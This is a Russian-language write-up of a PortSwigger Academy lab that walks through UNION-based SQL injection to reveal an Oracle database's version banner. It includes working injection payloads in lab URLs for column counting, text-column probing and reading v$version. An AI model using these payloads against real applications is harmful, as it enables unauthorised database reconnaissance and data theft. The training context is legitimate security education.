Да, все еще продолжаем решение лаб на PortSwigger Academy - SQL injection attack, querying the database type and version on Oracle
При эксплуатации уязвимостей SQL-инъекций часто необходимо собрать некоторую информацию о самой базе данных. Это включает в себя тип и версию программного обеспечения базы данных, а также содержимое базы данных с точки зрения содержащихся в ней таблиц и столбцов. В данной лабораторной будем издеваться работать с БД Oracle
Немного душной теории
Разные базы данных предоставляют разные способы запроса своей версии. Вам часто приходится пробовать разные запросы, чтобы найти работающий, позволяющий определить как тип, так и версию программного обеспечения базы данных.
Запросы для определения версии базы данных для некоторых популярных типов баз данных следующие:
Например, вы можете использовать атаку UNION со следующими входными данными:
' UNION SELECT @@version--
Это может вернуть вывод, подобный следующему, подтверждающий, что база данных является Microsoft SQL Server, и используемую версию:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
Постановка задачи
Эта лабораторная работа содержит уязвимость SQL-инъекции в фильтре категорий продуктов. Вы можете использовать атаку UNION для получения результатов введенного запроса.
Чтобы решить лабораторную работу, отобразите строку версии базы данных.
Решение лабораторной
Сразу зайдем в категорию Gifts и посмотрим что там есть
Сверху видим подсказку, что нам нужно вывести с БД следующую инфу:
Make the database retrieve the strings: 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production, PL/SQL Release 11.2.0.2.0 - Production, CORE 11.2.0.2.0 Production, TNS for Linux: Version 11.2.0.2.0 - Production, NLSRTL Version 11.2.0.2.0 - Production'
Определим сколько строк вмещаеся в нашу таблицу. Этому мы учились тут
https://0acc0076035432b3c04a6b4100e7000f.web-security-academy.net/filter?category=Gifts' UNION SELECT NULL, NULL FROM v$version--
И поймем, какие из столбцов имеют текстовый формат данных. Этому мы учились тут
https://0acc0076035432b3c04a6b4100e7000f.web-security-academy.net/filter?category=Gifts' UNION SELECT 'a', 'a' FROM v$version--
Видим, что все 2 столбца имеют текстовый формат данных
Теперь перейдем к чек-листу от PortSwigger, где написано, какие запросы нужны к конкретной БД - в нашем случае для Oracle
Видим, что для Oracle синтаксис следующий
SELECT banner FROM v$version или SELECT version FROM v$instance
Попробуем ввести нашу инъекцию
https://0acc0076035432b3c04a6b4100e7000f.web-security-academy.net/filter?category=' UNION SELECT banner, 'a' FROM v$version--
Вау, у нас все получилось! Молодцы!